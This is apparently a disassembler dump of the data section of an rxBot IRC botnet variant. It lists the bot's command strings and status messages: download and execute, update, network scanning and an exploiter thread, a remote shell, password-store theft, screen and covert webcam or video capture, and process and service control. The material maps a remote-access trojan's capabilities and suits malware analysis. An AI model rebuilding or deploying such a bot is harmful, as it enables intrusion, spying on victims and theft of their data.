dword_4388E8	dd 7325h	dword_4388EC	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401C87+2304o
		dd 2E676Fh
unk_438904	db  2Dh	; -		; DATA XREF: sub_401C87+237Bo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToStar_4	db '- Failed to start listing thread, error: <%d>.',0
dword_43893C	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_401C87+23ABo
		dd 2E7473h
dword_438954	dd 627573h	dword_438958	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401C87+2423o
		dd 65726874h, 2E736461h, 0
unk_438978	db  2Dh	; -		; DATA XREF: sub_401C87+247Co
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToStar_5	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_4389B4	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: sub_401C87+24A6o
		dd 2E7325h
unk_4389CC	db  2Dh	; -		; DATA XREF: sub_401C87+24E4o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+2530o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401C87:loc_4041C9o
		align 4
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401C87:loc_4041E0o
		align 4
dword_438A2C	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401C87+2566o
		dd 6E697463h, 2E67h
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401C87:loc_404202o
		align 10h
dword_438A60	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401C87+2588o
		dd 676E6974h, 2Eh
dword_438A7C	dd 636F7250h, 20737365h, 7473696Ch, 0dword_438A8C	dd 234032Dh, 636F7270h,	2D030273h, 0dword_438A9C	dd 646E6946h, 6C696620h, 65hdword_438AA8	dd 234032Dh, 646E6966h,	656C6966h, 2D0302hunk_438AB8	db  2Dh	; -		; DATA XREF: sub_401C87+2694o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStarte_0	db ' Server started on: %s:%d.',0
		align 4
unk_438AE4	db  2Dh	; -		; DATA XREF: sub_401C87+2702o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToStar_6	db ' Failed to start server thread, error: <%d>.',0
		align 4
aSecure_0	db 'secure',0           ; DATA XREF: sub_401C87+2722o
		align 4
aSec_0		db 'sec',0              ; DATA XREF: sub_401C87+2733o
aSecuring	db 'Securing',0         ; DATA XREF: sub_401C87+278Eo
		align 4
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401C87+2795o
		align 4
dword_438B48	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401C87+279Bo
		dd 2E6D6574h, 0
dword_438B64	dd 234032Dh, 75636573h,	3026572haFailedToStar_7	db '- Failed to start secure thread, error: <%d>.',0
		align 10h
unk_438BA0	db  2Dh	; -		; DATA XREF: sub_401C87:loc_4044A5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 10h
dword_438C50	dd 234032Dh, 6E69616Dh,	202D0302h, 7325hunk_438C60	db  2Dh	; -		; DATA XREF: sub_401C87+286Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_1	db 'User %s logged out.',0
unk_438C80	db  2Dh	; -		; DATA XREF: sub_401C87+287Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 4
unk_438CAC	db  2Dh	; -		; DATA XREF: sub_401C87+2889o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_438CD8	db  2Dh	; -		; DATA XREF: sub_401C87+28CBo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_2	db 'User %s logged out.',0
a332_1		db '332',0              ; DATA XREF: sub_401C87+28DBo
unk_438CFC	db  2Dh	; -		; DATA XREF: sub_401C87+2917o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
aPstore		db 'pstore',0           ; DATA XREF: sub_401C87+2922o
		align 4
aPs_0		db 'ps',0               ; DATA XREF: sub_401C87+2937o
		align 4
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401C87+294Co
		align 4
aRin		db 'rin',0              ; DATA XREF: sub_401C87+2961o
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401C87+2976o
aRinms		db 'rinms',0            ; DATA XREF: sub_401C87+298Bo
		align 4
aNick_0		db 'nick',0             ; DATA XREF: sub_401C87+29A0o
		align 2
aN		db 'n',0                ; DATA XREF: sub_401C87+29B5o
aJoin		db 'join',0             ; DATA XREF: sub_401C87+29CAo
		align 2
aJ		db 'j',0                ; DATA XREF: sub_401C87+29DFo
aPart_1		db 'part',0             ; DATA XREF: sub_401C87+29F4o
		align 4
aPt		db 'pt',0               ; DATA XREF: sub_401C87+2A09o
		align 10h
aRaw		db 'raw',0              ; DATA XREF: sub_401C87+2A1Eo
aR_0:					; DATA XREF: sub_401C87+2A33o
		unicode	0, <r>,0
aKillthread	db 'killthread',0       ; DATA XREF: sub_401C87+2A48o
		align 4
aK:					; DATA XREF: sub_401C87+2A5Do
		unicode	0, <k>,0
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401C87+2A72o
		align 10h
aC_q		db 'c_q',0              ; DATA XREF: sub_401C87+2A87o
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401C87+2A9Co
		align 10h
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401C87+2AB1o
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_401C87+2AC6o
		align 10h
aPr		db 'pr',0               ; DATA XREF: sub_401C87+2ADBo
		align 4
aOpen		db 'open',0             ; DATA XREF: sub_401C87+2AF0o
		align 2
aO		db 'o',0                ; DATA XREF: sub_401C87+2B05o
aServer_0	db 'server',0           ; DATA XREF: sub_401C87+2B1Ao
		align 4
aSe		db 'se',0               ; DATA XREF: sub_401C87+2B2Fo
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401C87+2B44o
aDn		db 'dn',0               ; DATA XREF: sub_401C87+2B59o
		align 10h
aKillproc	db 'killproc',0         ; DATA XREF: sub_401C87+2B6Eo
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401C87+2B83o
		align 10h
aKill		db 'kill',0             ; DATA XREF: sub_401C87+2B98o
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401C87+2BADo
		align 4
aDelete		db 'delete',0           ; DATA XREF: sub_401C87+2BC2o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401C87+2BD7o
aGet		db 'get',0              ; DATA XREF: sub_401C87+2BECo
aGt		db 'gt',0               ; DATA XREF: sub_401C87+2C01o
		align 10h
aList		db 'list',0             ; DATA XREF: sub_401C87+2C16o
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401C87+2C2Bo
		align 4
aVisit		db 'visit',0            ; DATA XREF: sub_401C87+2C40o
aV		db 'v',0                ; DATA XREF: sub_401C87+2C55o
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401C87+2C6Ao
aMirc		db 'mirc',0             ; DATA XREF: sub_401C87+2C7Fo
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401C87+2C94o
aCm		db 'cm',0               ; DATA XREF: sub_401C87+2CA9o
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401C87+2CBEo
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401C87+2CD3o
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_401C87+2CE8o
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401C87+2CFFo
		align 4
dword_438E68	dd 234032Dh, 6E656469h,	3026474haAlreadyRunni_1	db '- Already running.',0
		align 4
dword_438E88	dd 234032Dh, 6E656469h,	3026474haServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_438EB4	dd 234032Dh, 6E656469h,	3026474haFailedToStar_8	db '- Failed to start server, error: <%d>.',0
		align 4
aOff		db 'off',0              ; DATA XREF: sub_401C87+2D85o
dword_438EEC	dd 234032Dh, 6E656469h,	3026474haServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_438F24	dd 234032Dh, 6E656469h,	3026474haNoThreadFound_	db '- No thread found.',0
		align 4
aNet		db 'net',0              ; DATA XREF: sub_401C87+2DBDo
unk_438F48	db  2Dh	; -		; DATA XREF: sub_401C87+2DE1o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aStart		db 'start',0            ; DATA XREF: sub_401C87+2E13o
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_401C87+2E32o
		align 4
unk_438F8C	db  2Dh	; -		; DATA XREF: sub_401C87+2E69o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 10h
unk_438FB0	db  2Dh	; -		; DATA XREF: sub_401C87:loc_404AFAo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
aStop		db 'stop',0             ; DATA XREF: sub_401C87+2E80o
		align 4
aS_2		db '%s',0               ; DATA XREF: sub_401C87+2E9Bo
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401C87+2EA5o
		align 4
aS_3		db '%s',0               ; DATA XREF: sub_401C87+2EC0o
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401C87+2ECDo
		align 4
aS_4		db '%s',0               ; DATA XREF: sub_401C87+2EE8o
		align 4
aDelete_0	db 'delete',0           ; DATA XREF: sub_401C87+2EF5o
		align 10h
aS_5		db '%s',0               ; DATA XREF: sub_401C87+2F10o
		align 4
aShare		db 'share',0            ; DATA XREF: sub_401C87+2F1Do
		align 4
aS_6		db '%s',0               ; DATA XREF: sub_401C87+2F43o
		align 10h
aS_7		db '%s',0               ; DATA XREF: sub_401C87+2F59o
		align 4
unk_439014	db  2Dh	; -		; DATA XREF: sub_401C87+2F91o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 4
unk_439038	db  2Dh	; -		; DATA XREF: sub_401C87:loc_404C22o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
aUser_0		db 'user',0             ; DATA XREF: sub_401C87+2FA8o
		align 10h
aS_8		db '%s',0               ; DATA XREF: sub_401C87+2FDEo
		align 4
aS_9		db '%s',0               ; DATA XREF: sub_401C87+2FF9o
		align 4
aS_10		db '%s',0               ; DATA XREF: sub_401C87+300Ao
		align 4
unk_43906C	db  2Dh	; -		; DATA XREF: sub_401C87+3042o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_43908C	db  2Dh	; -		; DATA XREF: sub_401C87:loc_404CD3o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401C87+3059o
		align 4
aS_11		db '%s',0               ; DATA XREF: sub_401C87+3088o
		align 4
unk_4390B8	db  2Dh	; -		; DATA XREF: sub_401C87:loc_404D22o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
unk_4390DC	db  2Dh	; -		; DATA XREF: sub_401C87:loc_404D2Co
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
aCapture	db 'capture',0          ; DATA XREF: sub_401C87+30B0o
aCap		db 'cap',0              ; DATA XREF: sub_401C87+30C5o
aGethost	db 'gethost',0          ; DATA XREF: sub_401C87+30DAo
aGh		db 'gh',0               ; DATA XREF: sub_401C87+30EBo
		align 10h
aSSSS		db '%s %s %s :%s',0     ; DATA XREF: sub_401C87+3149o
		align 10h
unk_439120	db  2Dh	; -		; DATA XREF: sub_401C87+3172o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
unk_439148	db  2Dh	; -		; DATA XREF: sub_401C87:loc_404E0Fo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
dword_439178	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: sub_401C87+31CBo
		dd 2E732520h, 0
aScreen		db 'screen',0           ; DATA XREF: sub_401C87:loc_404E6Ao
		align 4
unk_43919C	db  2Dh	; -		; DATA XREF: sub_401C87+3214o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
unk_4391C8	db  2Dh	; -		; DATA XREF: sub_401C87:loc_404EABo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing screen.',0
		align 4
unk_4391F8	db  2Dh	; -		; DATA XREF: sub_401C87:loc_404EB2o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 4
aDrivers	db 'drivers',0          ; DATA XREF: sub_401C87:loc_404EC5o
unk_43923C	db  2Dh	; -		; DATA XREF: sub_401C87+3295o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 4
unk_439264	db  2Dh	; -		; DATA XREF: sub_401C87+32CBo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 4
aFrame		db 'frame',0            ; DATA XREF: sub_401C87:loc_404F5Fo
		align 4
unk_439294	db  2Dh	; -		; DATA XREF: sub_401C87+3352o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
unk_4392C0	db  2Dh	; -		; DATA XREF: sub_401C87:loc_404FE9o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 4
unk_4392F4	db  2Dh	; -		; DATA XREF: sub_401C87:loc_404FF0o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for webcam capture.',0
		align 4
aVideo		db 'video',0            ; DATA XREF: sub_401C87:loc_405003o
		align 4
unk_439334	db  2Dh	; -		; DATA XREF: sub_401C87+3409o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 10h
unk_439360	db  2Dh	; -		; DATA XREF: sub_401C87:loc_40509Ao
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing amateur video from webcam.',0
dword_4393A0	dd 234032Dh, 74706163h,	2657275h, 49202D03h, 6C61766Eh
					; DATA XREF: sub_401C87:loc_4050A4o
		dd 70206469h, 6D617261h, 72657465h, 6F662073h, 6D612072h
		dd 75657461h, 69762072h, 206F6564h, 74706163h, 2E657275h
		db 2 dup(0)
word_4393DE	dw 72h			; DATA XREF: sub_401C87:loc_4050AEo
unk_4393E0	db  2Dh	; -		; DATA XREF: sub_401C87+3492o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
dword_439404	dd 234032Dh, 6E69616Dh,	202D0302h, 64616552h, 6C696620h
					; DATA XREF: sub_401C87+34A8o
		dd 61662065h, 64656C69h, 7325203Ah
		db 2 dup(0)
word_439426	dw 0Ah			; DATA XREF: sub_401C87+34D2o
unk_439428	db  2Dh	; -		; DATA XREF: sub_401C87+34F0o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
dword_439454	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401C87+34F8o
		dd 732520h
unk_43946C	db  2Dh	; -		; DATA XREF: sub_401C87+3537o
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_43948C	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401C87:loc_4051C5o
		dd 746E6573h, 2Eh
dword_4394A8	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401C87+35E7o
		dd 2Eh
unk_4394C0	db  2Dh	; -		; DATA XREF: sub_401C87+3640o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStar_9	db ' Failed to start connection thread, error: <%d>.',0
		align 10h
dword_439500	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401C87+3683o
		dd 0
dword_439518	dd 7325h	unk_43951C	db  2Dh	; -		; DATA XREF: sub_401C87+36F7o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
unk_439540	db  2Dh	; -		; DATA XREF: sub_401C87+3750o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_10	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
dword_43957C	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401C87+377Fo
		dd 27732527h, 2Eh
dword_439598	dd 234032Dh, 656C6966h,	2D0302hunk_4395A4	db  2Dh	; -		; DATA XREF: sub_401C87+37C7o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
unk_4395C8	db  2Dh	; -		; DATA XREF: sub_401C87:loc_405455o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process ID: %s',0
unk_4395F8	db  2Dh	; -		; DATA XREF: sub_401C87+3828o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_439618	db  2Dh	; -		; DATA XREF: sub_401C87:loc_4054B9o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process: %s',0
		align 4
unk_439648	db  2Dh	; -		; DATA XREF: sub_401C87+3863o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_439668	db  2Dh	; -		; DATA XREF: sub_401C87+3896o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS__0	db '- Lookup: %s -> %s.',0
		align 4
unk_439688	db  2Dh	; -		; DATA XREF: sub_401C87:loc_405524o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 10h
unk_4396B0	db  2Dh	; -		; DATA XREF: sub_401C87+38BDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
aOpen_0		db 'open',0             ; DATA XREF: sub_401C87+38D7o
		align 10h
unk_4396E0	db  2Dh	; -		; DATA XREF: sub_401C87+38F0o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 10h
unk_439700	db  2Dh	; -		; DATA XREF: sub_401C87:loc_405581o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_439724	db  2Dh	; -		; DATA XREF: sub_401C87+3913o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
aNickS_0	db 'NICK %s',0          ; DATA XREF: sub_401C87+3959o
aS_24		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401C87+396Eo
		align 4
aQuitLater_0	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401C87+399Co
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401C87+3A29o
unk_439770	db  2Dh	; -		; DATA XREF: sub_401C87+3A43o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
unk_439798	db  2Dh	; -		; DATA XREF: sub_401C87:loc_4056D4o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_4397C0	db  2Dh	; -		; DATA XREF: sub_401C87+3A98o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_4397E4	db  2Dh	; -		; DATA XREF: sub_401C87:loc_405726o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 10h
aS_25		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401C87+3B07o
		align 4
dword_439818	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401C87+3B15o
		dd 2E732520h, 0
dword_439834	dd 54524150h, 0D732520h, 0Ahunk_439840	db  2Dh	; -		; DATA XREF: sub_401C87+3B2Fo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 4
aJoinSS_1	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+3B40o
		align 4
unk_439874	db  2Dh	; -		; DATA XREF: sub_401C87+3B50o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
aNickS_1	db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401C87+3B5Do
		align 4
unk_4398A4	db  2Dh	; -		; DATA XREF: sub_401C87+3B6Do
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 4
aQuitReconnec_0	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401C87:loc_405806o
		align 10h
unk_4398E0	db  2Dh	; -		; DATA XREF: sub_401C87+3B95o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s ms',0
		align 4
aQuitReconnec_1	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401C87:loc_40584Co
		align 4
unk_43991C	db  2Dh	; -		; DATA XREF: sub_401C87+3BDBo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s seconds',0
		align 4
aExecutedPstore	db 'Executed pstore',0  ; DATA XREF: sub_401C87+3C2Bo
aKilllog	db 'killlog',0          ; DATA XREF: sub_401C87+3C90o
aKl		db 'kl',0               ; DATA XREF: sub_401C87+3CA5o
		align 10h
aAddalias	db 'addalias',0         ; DATA XREF: sub_401C87+3CBAo
		align 4
aAa		db 'aa',0               ; DATA XREF: sub_401C87+3CCFo
		align 10h
aPrivmsg_1	db 'privmsg',0          ; DATA XREF: sub_401C87+3CE4o
aPm		db 'pm',0               ; DATA XREF: sub_401C87+3CF9o
		align 4
aAction		db 'action',0           ; DATA XREF: sub_401C87+3D0Eo
		align 4
aA:					; DATA XREF: sub_401C87+3D23o
		unicode	0, <a>,0
aCycle		db 'cycle',0            ; DATA XREF: sub_401C87+3D38o
		align 10h
aCy		db 'cy',0               ; DATA XREF: sub_401C87+3D4Do
		align 4
aMode		db 'mode',0             ; DATA XREF: sub_401C87+3D62o
		align 2
aM		db 'm',0                ; DATA XREF: sub_401C87+3D77o
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401C87+3D8Co
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401C87+3DA1o
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401C87+3DB6o
		align 10h
aC_m		db 'c_m',0              ; DATA XREF: sub_401C87+3DCBo
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401C87+3DE0o
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_401C87+3DF5o
aC_join		db 'c_join',0           ; DATA XREF: sub_401C87+3E0Ao
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401C87+3E1Fo
aC_part		db 'c_part',0           ; DATA XREF: sub_401C87+3E34o
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401C87+3E49o
aUpdate		db 'update',0           ; DATA XREF: sub_401C87+3E5Eo
		align 10h
aUp_0		db 'up',0               ; DATA XREF: sub_401C87+3E73o
		align 4
aExecute	db 'execute',0          ; DATA XREF: sub_401C87+3E88o
aE:					; DATA XREF: sub_401C87+3E9Do
		unicode	0, <e>,0
aFindfile	db 'findfile',0         ; DATA XREF: sub_401C87+3EB2o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401C87+3EC7o
		align 10h
aRename		db 'rename',0           ; DATA XREF: sub_401C87+3EDCo
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401C87+3EF1o
		align 4
aClone_0	db 'clone',0            ; DATA XREF: sub_401C87+3F18o
aC		db 'c',0                ; DATA XREF: sub_401C87+3F2Do
aDownload	db 'download',0         ; DATA XREF: sub_401C87+3F42o
		align 10h
aDl		db 'dl',0               ; DATA XREF: sub_401C87+3F57o
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401C87+3F6Co
		align 10h
aRd		db 'rd',0               ; DATA XREF: sub_401C87+3F81o
		align 4
aScan_1		db 'scan',0             ; DATA XREF: sub_401C87+3F96o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401C87+3FABo
		align 10h
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401C87+3FC0o
		align 4
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401C87+3FD5o
		align 4
aC_action	db 'c_action',0         ; DATA XREF: sub_401C87+3FEAo
		align 10h
